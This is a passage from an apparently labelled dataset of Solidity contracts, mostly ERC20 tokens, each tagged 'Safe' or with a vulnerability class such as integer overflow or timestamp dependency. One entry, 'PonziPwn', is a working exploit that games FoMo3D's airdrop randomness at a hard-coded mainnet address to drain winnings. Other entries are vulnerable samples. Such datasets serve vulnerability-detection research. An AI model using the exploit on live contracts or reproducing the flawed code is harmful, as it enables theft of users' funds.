newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract OperatableBasic { function setPrimaryOperator (address addr) public; function setSecondaryOperator (address addr) public; function isPrimaryOperator(address addr) public view returns (bool); function isSecondaryOperator(address addr) public view returns (bool); } contract Operatable is Ownable, OperatableBasic { address public primaryOperator; address public secondaryOperator; modifier canOperate() { require(msg.sender == primaryOperator || msg.sender == secondaryOperator || msg.sender == owner); _; } function Operatable() public { primaryOperator = owner; secondaryOperator = owner; } function setPrimaryOperator (address addr) public onlyOwner { primaryOperator = addr; } function setSecondaryOperator (address addr) public onlyOwner { secondaryOperator = addr; } function isPrimaryOperator(address addr) public view returns (bool) { return (addr == primaryOperator); } function isSecondaryOperator(address addr) public view returns (bool) { return (addr == secondaryOperator); } } contract XClaimable is Claimable { function cancelOwnershipTransfer() onlyOwner public { pendingOwner = owner; } } contract VUULRTokenConfig { string public constant NAME = ""Vuulr Token""; string public constant SYMBOL = ""VUU""; uint8 public constant DECIMALS = 18; uint public constant DECIMALSFACTOR = 10 ** uint(DECIMALS); uint public constant TOTALSUPPLY = 1000000000 * DECIMALSFACTOR; } contract Salvageable is Operatable { // Salvage other tokens that are accidentally sent into this token function emergencyERC20Drain(ERC20 oddToken, uint amount) public canOperate { if (address(oddToken) == address(0)) { owner.transfer(amount); return; } oddToken.transfer(owner, amount); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract VUULRToken is XClaimable, PausableToken, VUULRTokenConfig, Salvageable { using SafeMath for uint; string public name = NAME; string public symbol = SYMBOL; uint8 public decimals = DECIMALS; bool public mintingFinished = false; event Mint(address indexed to, uint amount); event MintFinished(); modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint _amount) canOperate canMint public returns (bool) { require(totalSupply_.add(_amount) <= TOTALSUPPLY); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract VUULRVesting is XClaimable, Salvageable { using SafeMath for uint; struct VestingSchedule { uint lockPeriod; // Amount of time in seconds between withdrawal periods. (EG. 6 months or 1 month) uint numPeriods; // number of periods until done. uint tokens; // Total amount of tokens to be vested. uint amountWithdrawn; // The amount that has been withdrawn. uint startTime; } bool public started; VUULRToken public vestingToken; address public vestingWallet; uint public vestingOwing; uint public decimals; // Vesting schedule attached to a specific address. mapping (address => VestingSchedule) public vestingSchedules; event VestingScheduleRegistered(address registeredAddress, address theWallet, uint lockPeriod, uint tokens); event Started(uint start); event Withdraw(address registeredAddress, uint amountWithdrawn); event VestingRevoked(address revokedAddress, uint amountWithdrawn, uint amountRefunded); event VestingAddressChanged(address oldAddress, address newAddress); function VUULRVesting(VUULRToken _vestingToken, address _vestingWallet ) public { require(_vestingToken != address(0)); require(_vestingWallet != address(0)); vestingToken = _vestingToken; vestingWallet = _vestingWallet; decimals = uint(vestingToken.decimals()); } // Start vesting, Vesting starts now !!! // as long as TOKEN IS NOT PAUSED function start() public onlyOwner { require(!started); require(!vestingToken.paused()); started = true; emit Started(now); // catch up on owing transfers if (vestingOwing > 0) { require(vestingToken.transferFrom(vestingWallet, address(this), vestingOwing)); vestingOwing = 0; } } // Register a vesting schedule to transfer SENC from a group SENC wallet to an individual // wallet. For instance, from pre-sale wallet to individual presale contributor address. function registerVestingSchedule(address _newAddress, uint _numDays, uint _numPeriods, uint _tokens, uint startFrom) public canOperate { uint _lockPeriod; // Let's not allow the common mistake.... require(_newAddress != address(0)); // Check that beneficiary is not already registered require(vestingSchedules[_newAddress].tokens == 0); // Some lock period sanity checks. require(_numDays > 0); require(_numPeriods > 0); _lockPeriod = _numDays * 1 days; vestingSchedules[_newAddress] = VestingSchedule({ lockPeriod : _lockPeriod, numPeriods : _numPeriods, tokens : _tokens, amountWithdrawn : 0, startTime : startFrom }); if (started) { require(vestingToken.transferFrom(vestingWallet, address(this), _tokens)); } else { vestingOwing = vestingOwing.add(_tokens); } emit VestingScheduleRegistered(_newAddress, vestingWallet, _lockPeriod, _tokens); } // whichPeriod returns the vesting period we are in // 0 - before start or not eligible // 1 - n : the timeperiod we are in function whichPeriod(address whom, uint time) public view returns (uint period) { VestingSchedule memory v = vestingSchedules[whom]; if (started && (v.tokens > 0) && (time >= v.startTime)) { period = Math.min256(1 + (time - v.startTime) / v.lockPeriod,v.numPeriods); } } // Returns the amount of tokens you can withdraw function vested(address beneficiary) public view returns (uint _amountVested) { VestingSchedule memory _vestingSchedule = vestingSchedules[beneficiary]; // If it's past the end time, the whole amount is available. if ((_vestingSchedule.tokens == 0) || (_vestingSchedule.numPeriods == 0) || (now < _vestingSchedule.startTime)){ return 0; } uint _end = _vestingSchedule.lockPeriod.mul(_vestingSchedule.numPeriods); if (now >= _vestingSchedule.startTime.add(_end)) { return _vestingSchedule.tokens; } uint period = now.sub(_vestingSchedule.startTime).div(_vestingSchedule.lockPeriod)+1; if (period >= _vestingSchedule.numPeriods) { return _vestingSchedule.tokens; } uint _lockAmount = _vestingSchedule.tokens.div(_vestingSchedule.numPeriods); uint vestedAmount = period.mul(_lockAmount); return vestedAmount; } function withdrawable(address beneficiary) public view returns (uint amount) { return vested(beneficiary).sub(vestingSchedules[beneficiary].amountWithdrawn); } function withdrawVestedTokens() public { VestingSchedule storage vestingSchedule = vestingSchedules[msg.sender]; if (vestingSchedule.tokens == 0) return; uint _vested = vested(msg.sender); uint _withdrawable = withdrawable(msg.sender); vestingSchedule.amountWithdrawn = _vested; if (_withdrawable > 0) { require(vestingToken.transfer(msg.sender, _withdrawable)); emit Withdraw(msg.sender, _withdrawable); } } function revokeSchedule(address _addressToRevoke, address _addressToRefund) public onlyOwner { require(_addressToRefund != 0x0); uint _withdrawable = withdrawable(_addressToRevoke); uint _refundable = vestingSchedules[_addressToRevoke].tokens.sub(vested(_addressToRevoke)); delete vestingSchedules[_addressToRevoke]; if (_withdrawable > 0) require(vestingToken.transfer(_addressToRevoke, _withdrawable)); if (_refundable > 0) require(vestingToken.transfer(_addressToRefund, _refundable)); emit VestingRevoked(_addressToRevoke, _withdrawable, _refundable); } function changeVestingAddress(address _oldAddress, address _newAddress) public onlyOwner { VestingSchedule memory vestingSchedule = vestingSchedules[_oldAddress]; require(vestingSchedule.tokens > 0); require(_newAddress != 0x0); require(vestingSchedules[_newAddress].tokens == 0x0); VestingSchedule memory newVestingSchedule = vestingSchedule; delete vestingSchedules[_oldAddress]; vestingSchedules[_newAddress] = newVestingSchedule; emit VestingAddressChanged(_oldAddress, _newAddress); } function emergencyERC20Drain( ERC20 oddToken, uint amount ) public canOperate { // Cannot withdraw VUULRToken if vesting started require(!started || address(oddToken) != address(vestingToken)); super.emergencyERC20Drain(oddToken,amount); } }",Safe,8,8 0x038850ee1e07191d9180c24aaf9491cd5cbe65c3_KGXcoin.sol,"pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract KGXcoin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function KGXcoin( ) { balances[msg.sender] = 50000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 50000000000; // Update total supply (100000 for example) name = ""KGXcoin""; // Set the name for display purposes decimals = 3; // Amount of decimals for display purposes symbol = ""KGX""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 1192.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract SuperNodeCoin { string public name; string public symbol; uint8 public decimals = 2; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = 1000000000000; balanceOf[msg.sender] = totalSupply; name = ""SuperNodeCoin""; symbol = ""SPNC""; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 3050.sol,"pragma solidity ^0.4.24; interface FoMo3DlongInterface { function airDropTracker_() external returns (uint256); function airDropPot_() external returns (uint256); function withdraw() external; } contract BlankContract { constructor() public {} } contract AirDropWinner { FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1); constructor() public { if(!address(fomo3d).call.value(0.1 ether)()) { fomo3d.withdraw(); selfdestruct(msg.sender); } } } contract PonziPwn { FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1); address private admin; uint256 private blankContractGasLimit = 20000; uint256 private pwnContractGasLimit = 250000; uint256 private gasPrice = 10; uint256 private gasPriceInWei = gasPrice*1e9; uint256 private blankContractCost = blankContractGasLimit*gasPrice ; uint256 private pwnContractCost = pwnContractGasLimit*gasPrice; uint256 private maxAmount = 10 ether; modifier onlyAdmin() { require(msg.sender == admin); _; } constructor() public { admin = msg.sender; } function checkPwnData() private returns(uint256,uint256,address) { address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), 0x01))); uint256 _nContracts = 0; uint256 _pwnCost = 0; uint256 _seed = 0; uint256 _tracker = fomo3d.airDropTracker_(); bool _canWin = false; while(!_canWin) { _seed = uint256(keccak256(abi.encodePacked( (block.timestamp) + (block.difficulty) + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + (block.gaslimit) + ((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) + (block.number) ))); if((_seed - ((_seed / 1000) * 1000)) >= _tracker) { _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, _newSender, 0x01))); _nContracts++; _pwnCost+= blankContractCost; } else { _canWin = true; _pwnCost += pwnContractCost; } } return (_pwnCost,_nContracts,_newSender); } function deployContracts(uint256 _nContracts,address _newSender) private { for(uint256 _i; _i < _nContracts; _i++) { if(_i++ == _nContracts) { address(_newSender).call.value(0.1 ether)(); new AirDropWinner(); } new BlankContract(); } } function beginPwn() public onlyAdmin() { uint256 _pwnCost; uint256 _nContracts; address _newSender; (_pwnCost, _nContracts,_newSender) = checkPwnData(); if(_pwnCost + 0.1 ether < maxAmount) { deployContracts(_nContracts,_newSender); } } function withdraw() public onlyAdmin() { admin.transfer(address(this).balance); } }",./Dataset/timestamp dependency (TP)/,6,6 1235.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Easy Token' // // NAME : Easy Token // Symbol : EST // Total supply: 1,500,000,000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto & Daniel Bar with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Easy is StandardToken { string public constant name = ""Easy Token""; string public constant symbol = ""EST""; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 15 * 10**8 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); function Easy() public { totalSupply = INITIAL_SUPPLY; owner = msg.sender; //owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; transfersEnabled = true; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } /** * If the user sends 0 ether, he receives 250 * If he sends 0.0005 ether, he receives 750 +10% * If he sends 0.001 ether, he receives 1,500 +15% * If he sends 0.01 ether, he receives 15,000 +20% * If he sends 0.1 ether he receives 150,000 +25% * If he sends 1 ether, he receives 1,500,000 +25% */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) { uint256 amountOfTokens = 0; if(_weiAmount == 0 ether){ amountOfTokens = 250 * (10**uint256(decimals)); } if( _weiAmount == 0.0005 ether){ amountOfTokens = 825 * (10**uint256(decimals)); } if( _weiAmount == 0.0006 ether){ amountOfTokens = 990 * (10**uint256(decimals)); } if( _weiAmount == 0.0007 ether){ amountOfTokens = 1155 * (10**uint256(decimals)); } if( _weiAmount == 0.0008 ether){ amountOfTokens = 1320 * (10**uint256(decimals)); } if( _weiAmount == 0.0009 ether){ amountOfTokens = 1485 * (10**uint256(decimals)); } if( _weiAmount == 0.001 ether){ amountOfTokens = 1725 * (10**uint256(decimals)); } if( _weiAmount == 0.002 ether){ amountOfTokens = 3450 * (10**uint256(decimals)); } if( _weiAmount == 0.003 ether){ amountOfTokens = 5175 * (10**uint256(decimals)); } if( _weiAmount == 0.004 ether){ amountOfTokens = 69 * 10**2 * (10**uint256(decimals)); } if( _weiAmount == 0.005 ether){ amountOfTokens = 8625 * (10**uint256(decimals)); } if( _weiAmount == 0.006 ether){ amountOfTokens = 10350 * (10**uint256(decimals)); } if( _weiAmount == 0.007 ether){ amountOfTokens = 12075 * (10**uint256(decimals)); } if( _weiAmount == 0.008 ether){ amountOfTokens = 13800 * (10**uint256(decimals)); } if( _weiAmount == 0.009 ether){ amountOfTokens = 15525 * (10**uint256(decimals)); } if( _weiAmount == 0.01 ether){ amountOfTokens = 18 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.02 ether){ amountOfTokens = 36 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.03 ether){ amountOfTokens = 54 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.04 ether){ amountOfTokens = 72 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.05 ether){ amountOfTokens = 90 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.06 ether){ 